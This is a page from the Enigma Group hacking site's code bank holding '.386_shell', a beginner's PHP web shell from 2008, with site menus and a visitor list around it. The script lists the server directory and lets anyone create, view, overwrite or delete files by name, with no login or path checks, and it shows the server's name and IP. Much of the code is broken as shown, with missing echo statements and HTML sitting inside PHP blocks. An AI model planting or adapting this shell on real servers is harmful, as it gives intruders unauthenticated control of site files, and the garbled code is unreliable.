EG Information

Main Index
EG Manual
Disclaimer
Legal Information
Hall of Fame
Hall of Shame
Member Rankings
Members List
Meet the Staff

Training Missions

Read Me First
Basic Skills
Realistic Scenarios
Cryptography
Software Cracking
Linux ELF Binary Cracking
Logical Thinking
Programming
Captcha Cracking
Patching
Steganography
Deface This Wall
/dev/null
/dev/urandom
/dev/extra

Knowledge Bank

Discussion Forums
Exploit Database New
PasteBin New
RSS Feeds RSS
Articles / Tutorials
Videos
Online EG MP3 Player Radio
Downloads
Tools

Code Resources

Submit Code
Ajax
ASM
Bash
C
CPP
Csharp
Delphi
Haskell
Java
Javascript
Jython
Lisp
mIRC
MySQL
Perl
PHP
Python
QBASIC
VisualBasic

Pimp Us Out!

Review enigmagroup.org on alexa.com

Has Enigma Group Helped You? Then Help Us By Advertising For Us. Place One Of The Following Images On Your Site And Create A Link Back To Enigma Group.

Enigma Group

Enigma Group

Enigma Group

Enigma Group

 

Affiliates



The Urinal

hackhound.org

suck-o.com

hack.org.za

flyninja.net

 

Enigma Group's Code Bank


.368_shell

By: mediocre  -  Date Submitted: 2008-06-05 06:29:44

  1. <html>
  2. <?php
  3. /********************************************************************************************************************************
  4. .about_386_shell
  5.  
  6. .386_shell was written by mediocre.
  7. Purely educational, of course.
  8.  
  9. It's actually not all that.
  10.  
  11. I suppose you could use it as:
  12.  - an alternative content management system
  13.  - a source of (very) basic whois information (e.g. ip address and server name)
  14.  - whatever you want, providing you're willing to implement the new features :P
  15.  
  16. It's a reasonably simple script, because when I made this i'd been learning PHP for about 2 days with no prior knowledge of any programming language.
  17. All code was written from scratch (and with great difficulty).
  18.  
  19. Please scrutinize my code and bad programming habits and PM me or whatever.
  20. Plus, let me know of any additions or changes that could be made to improve it.(Especially the slight lag problem when editing files on the server.)
  21.  
  22. ~mediocre
  23. ***********************************************************************************************************************************/
  24.  
  25. <body bgcolor="#000000" text="#99FF00" link="#99FF00" vlink="#99FF00" alink="#99FF00">
  26.  
  27.  
  28. <br />
  29. <font face="Arial" size="48px">.386_shell</font>
  30.  
  31. <p align="center">
  32. <tt>
  33. ';
  34. ?>
  35. <table width ="95%" align="center">
  36. <tr align="center">
  37. <td>
  38. <tt>.<b>filename</b></tt>
  39. </td>
  40.  
  41. <?php
  42. $action = $_GET['action'];
  43. $url = $_SERVER["SERVER_NAME"];
  44. $ip = $_SERVER["SERVER_ADDR"];
  45. $del = ".delete";
  46. $view = ".create_new_file";
  47. $mkdir = ".create_new_dir";
  48. $edit = ".edit";
  49. $upload = ".upload";
  50.  
  51. ?>
  52.  
  53. </tr>
  54. </table>
  55. <?php
  56. $handle = '/testarea';
  57. if ($handle = opendir('.')){
  58. while (false !== ($file = readdir($handle))){
  59. if ($file !== '.' && $file !== '..')
  60. echo "
  61. <tt>
  62. $file<br />
  63. </tt>";
  64. }
  65.  
  66. closedir($handle);
  67. echo "</tr>
  68. </table>";
  69. }
  70. ?>
  71. </p>
  72. <br /><br /><br />
  73. <?php
  74. //Create Box
  75. <p align=\"center\">
  76. $view<form action=\"\" method=\"post\"><input type=\"text\" name=\"viewthisfile\" size=\"30\"><br />
  77. <input type=\"submit\" value=\"Create\">
  78. ";
  79.  
  80. echo "<br /><br />";
  81. echo "</p>
  82. ";
  83.  
  84. $viewfile = $_POST['viewthisfile']; //$viewfile value is that of the textbox "viewthisfile".
  85.  
  86. if (is_file($viewfile)) {
  87. <p align=\"center\">" . "\"" . $viewfile . "\"" . " is already a file.<br />Enter a different name to continue.
  88. </p>
  89. ";
  90.  
  91. }
  92. elseif ($viewfile != ""){ //Else If $viewfile does not equal "", do this:
  93. $emptymess = "
  94. This message has been displayed in order for you to open this file.\n\nPlease delete it and continue as normal.
  95. ";
  96.  
  97. $viewfilehandle = fopen($viewfile, "w") or die("Could not find $viewfile.<br /> Created $viewfile");
  98. //Create filehandle named $viewfilehandle.
  99. //Open $viewfile for writing, if error, display error message.
  100. fwrite ($viewfilehandle, $emptymess);
  101. fclose($viewfilehandle); //Close file.
  102.  
  103. <p align=\"center\">"
  104. . $viewfile . " created.
  105. </p>
  106. ";
  107. }
  108.  
  109. $viewfile = "";
  110. /* never worked these bits, fix them if you want:
  111. //MKDIR Section
  112.  
  113.  
  114. //Upload box HTML
  115. ?>
  116. <p align="center">
  117. <?php echo $upload; ?><br /><br />
  118.   <form enctype="multipart/form-data" action="" method="post">
  119.   <input type="hidden" name="MAX_FILE_SIZE" value="2147483647">
  120.   <input type="file" name="uploadbox" size="30"><br />
  121. <!--
  122.   <input type="text" name="target" size="30" value="/"><br />
  123. -->
  124.   <input type="submit" value="Upload">
  125.   </form>
  126.  
  127. <?php
  128. //Upload box PHP
  129. $dir = "upload/"; //$_POST['target'];
  130. $ufile = basename($_FILES['uploadbox']['name']);
  131. $uploadtarget = $dir . $ufile;
  132.  
  133.  
  134. if ($ub != ""){ //If something got put in the textbox named "uploadbox", do this:
  135.   if (move_uploaded_file($_FILES['uploadbox']['tmp_name'], $uploadtarget)){
  136.   echo $ufile . " was succesfully uploaded to " . $dir . "." . "</p>";
  137.   }
  138.   else { //Else do this:
  139.   echo "Error uploading " . $ufile . " to " . $dir . ".</p>"; //Show error message
  140.   }
  141. }
  142.  
  143. $ub = $_POST['uploadbox']; //variable $ub is equal to uploadbox's value
  144. */
  145. ?>
  146.  
  147. <?php
  148. //Delete Box
  149. <p align=\"center\">
  150. $del<br><br><form action=\"\" method=\"post\"><input type=\"text\" name=\"deletethisfile\" size=\"30\"><br />
  151. <input type=\"submit\" name=\"delsubmit\" value=\"Delete\">
  152. ";
  153.  
  154. $delfile = $_POST['deletethisfile'];
  155.  
  156.  
  157. if ($delfile != "")
  158. {
  159. if (is_file($delfile)){
  160. echo "<br /><br />";
  161. $size = intval(filesize($delfile)/1000) . "kb";unlink($delfile) or die("Error. Could not delete $delfile.");
  162. echo $delfile . " deleted (" . $size . ").
  163. ";
  164. }
  165. else {
  166. echo "<br /><br />" . "\"" . $delfile . "\"" . " does not exist.<br />Could not delete " . "\"" . $delfile . "\".";
  167. }
  168. }
  169.  
  170. //Edit box
  171. $startmess = "";
  172. $emptymess = "
  173. This message has been displayed in order for you to open this file.\n\nPlease delete it and continue as normal.
  174. ";
  175.  
  176. $save = "stn.txt";
  177. $anything = "386shell";
  178.  
  179. if (is_file($save)){
  180. $savethename = $save;
  181. $stnhandle = fopen($savethename, 'r');
  182. $startmess = fread($stnhandle, 1024);
  183.  
  184. $anyhandle = fopen($savethename, 'w');
  185. fwrite($anyhandle, $anything);
  186.  
  187. fclose($stnhandle);
  188. }
  189.  
  190. if ($_POST['editthisfile'] != "") {
  191. $etf = $_POST['editthisfile'];
  192. if (is_file($etf)){
  193. $etfhandle = fopen($etf, 'r');
  194. if (filesize($etf) == 0){
  195. $quickwrite = fopen($etf, "w");
  196. fwrite($quickwrite, $emptymess);
  197. fclose($quickwrite);
  198.  
  199. $ed = fread($etfhandle, filesize($etf)) ;
  200. fclose($etfhandle);
  201. } else {
  202. $ed = fread($etfhandle, filesize($etf)) ;
  203. fclose($etfhandle);
  204. }
  205. } else {
  206. $errormess = "Error. Could not open \"$etf\". \"$etf\" does not exist.";
  207. $errormess = stripslashes($errormess);
  208. }
  209.  
  210. }
  211.  
  212. $startmess = $_POST['editthisfile'];
  213. $startmess = strip_tags(trim($startmess));
  214.  
  215. $savethename = $save;
  216. $stnhandle = fopen($savethename, 'w');
  217. fwrite($stnhandle, $startmess);
  218. fclose($stnhandle);
  219.  
  220. if (isset($_POST['bang'])){
  221. $modmess = "\"$startmess\" modified.";
  222. }
  223.  
  224. if (isset($ed)){
  225. echo "<form method=\"post\" action=\"\" name=\"editform\"><br /><br />$edit<br /><br />
  226. <input type=\"text\" name=\"editthisfile\" size=\"30\" value=\"$startmess\"><input type=\"Submit\" value=\"View Source\"><br />
  227. <textarea name=\"editcode\" rows=\"10\" cols=\"50\">$ed</textarea><br />
  228. <input type=\"submit\" name=\"bang\" value=\"Edit\">
  229. </form>
  230. $modmess
  231. <br />
  232. ";
  233. $etf = $_POST['editthisfile'];
  234.  
  235. if (isset($_POST['bang'])) {
  236. $striped = stripslashes($_POST['editcode']);
  237. $stripy = fopen($etf, 'w');
  238. fwrite($stripy, $striped);
  239. fclose($stripy);
  240.  
  241. }
  242.  
  243. } else {
  244. echo "<form method=\"post\" action=\"\" name=\"editform\"><br /><br />$edit<br /><br />
  245. <input type=\"text\" name=\"editthisfile\" size=\"30\" value=\"$startmess\"><input type=\"Submit\" value=\"View Source\"><br />
  246. <textarea name=\"editcode\" rows=\"10\" cols=\"50\"></textarea><br />
  247. <input type=\"submit\" name=\"bang\" value=\"Edit\">
  248. </form>
  249. $errormess
  250. ";
  251. }
  252.  
  253.  
  254. ?>
  255.  
  256. <?php
  257. <p align=\"center\">
  258. <b>.server_name</b><br />
  259. : : $url : :<br />
  260. <br />
  261. <b>.server_addr</b><br />
  262. : : $ip : :
  263. </p>
  264. ";
  265. ?>
  266. </body>
  267. </html>
Return to php category list

Who Visited EnigmaGroup Today?

1502 Guests, 297 Users (188 Spiders)
theanonymous21, Taireegaddita, mongrel88, Taicadine, alexelixir, c_a13, Abhinav2107, hizImmoli, scifics, slchill, spartanvedicrishi, KELATALFTUS, kynapse, Tonyui, Hackpad, Epilioptiop, VireekadiaFap, Mamorite, IodindDog, brunoriversyhn, Effomeidonize, ReottphoffBom, arktek, burgeoningneophyte, TradaGreant, SlayingDragons, Waldlyeps, Arsenal, CJ_Omaha, CreedoFiegree, Ryuske, thethird3y3, todayadvila, pwnpwnlolz, NeetaexomYgom, ookami-namikaze, dot_Cipher, Unotohumsmush, SaubymorRoyab, bivaEmilltite, loltyg, Ausome1, Rik, hrangel, cyber-guard, Meonkzt, mori, 31415926, optioniLele, intorerse, FlifobbyFloks, Ios, saraf, Røgue, cossyDrybrich, IvanDimitriev, havisham, KIKNWING, fitz, fleeloCycle, hackboy302, strudels, CootoDorbeeft, gymnediny, hustleman9tv, comando300, Ysri13, thatoneguy, Paran0id, whoami, Pitanteerve, r0z4, Reapon, cls777, myfabregas, Afrika, suetekh, somebody777, floontiny, Frudopvia, jasonbourne, zombiehack640, CloverCipher, spoosh, Fraubbova, rulebreaker, dncjor, obencefoozy, Fintyoptots, viRuleNt, NipPaineHainy, TheHarrisonW, Jamesgo, TheGanjator, psychomarine, 1421carter, tingle65, claudius, Feld Grau, Partisan, Gunslinger, gydeqqzpn, yshiau, Zaccarato, chromoSone, priovasashCor, ellisp, GothicLogic, keetone, M0rdak, UsedDeteKef, nhorton, archestraty, HatriteBeft, JC06dc5, alpha1, spg, dark_void, wakazi, mtroscheck, TheCheeseDemon, ach.n30, sahariar, hervelegeraf, Psiber_Syn, hackaday, Mod777, neompenly, pollolololo, SnoopSky, Cigmimifs, DrOptix, ProloG-Shaman, unicornrainbow, cheapnikeshoxog, bobsters, foofthoorgo, polemarchos, avacraft, spencerwilliams23, lotato, ryanjcrook, dollerolf, robintenboden, rospark, WexEmbet, BeefSupreme, Hessesian, whydoyoulook, cdpirate, DnA-Ender, CaNcEr, zheincnoob, Vengeance987, justforfun363, RawTeefecycle, Squissesk, aVoid, SaMTHG, neodude, Marion1p, Ops, ddxc, BlAd373, Klosse, khamhou, samsatHD80, PauffPubadvic, AnnaNoult, SexyCreerve, newb1, robster1977, Blizer, Dudleypagrove, Mr_KaLiMaN, FirewallPenetrator, GMo, Seasharp, mrchicken1, Zaxem, N4g4c3N, MaxMeier, Ian, sander.ashwin, Predatorc, lonely.connection, ElEnfermado, wavyd, dirkdanblue, cve916, drag0n, kalak55, a1los, jell0, Exclaw, veceattainc, Muselele, Mr Pacifist, stylish007, zach, litbk, closednetwork99, soroimmuror, memoryshot, PlaneReaction, Wamemanytex38, DieAble, d0seN_36b, jeremy.whitson, lol, nefeolnb, Noticon, statix, anandoump, RomeoG, advilapyday, snorapa, Gkjt, autotuneuser, beanulpinee, 2142, kiklopas, door51, Pizza, deepakkumar, makler2004, M4rcy, Xargos, bdkoenig, Blavatsky, m4f10, Huasca, itsme, xu_lain, Nikhil, ChewBigRed, samxoxo, incicaMaidits, toudioria, Chidokage, Jigoku, cesecyclelm, schn1ffl3r, sam20000, learning, kentora, San Marino, Nightraven, zanydouner, FrofErrodslot, FatalEror, wheaties, akki, AlexDiru, unclejos666, override101, blink_212, uncowstientee, lilkpoigogs, Innonaenupt607, Killshot, ZheIncKnight, ActictGlync, acarseflalk, ___, trashsporn, Memartent, Zoorsornaks, z3z3, heyhey123, Ghajnm, usaliaPels, Ordeptpen, pelly, quellense, Szuba, nmobin27, lamb, x1rt4m, ToutousaRulty, vipervince2002, mannavard1611, BinaryShinigami, Duchdund, afgnumgt, Anatissa, greatg, darkfire1515, bennyblanco5000, Mmmett50, ToryLogsEsoff, impalwinona, Kelsfednege, ensubbrut, ant0601, Alpha0mega, pbarwim
 
Enigma Group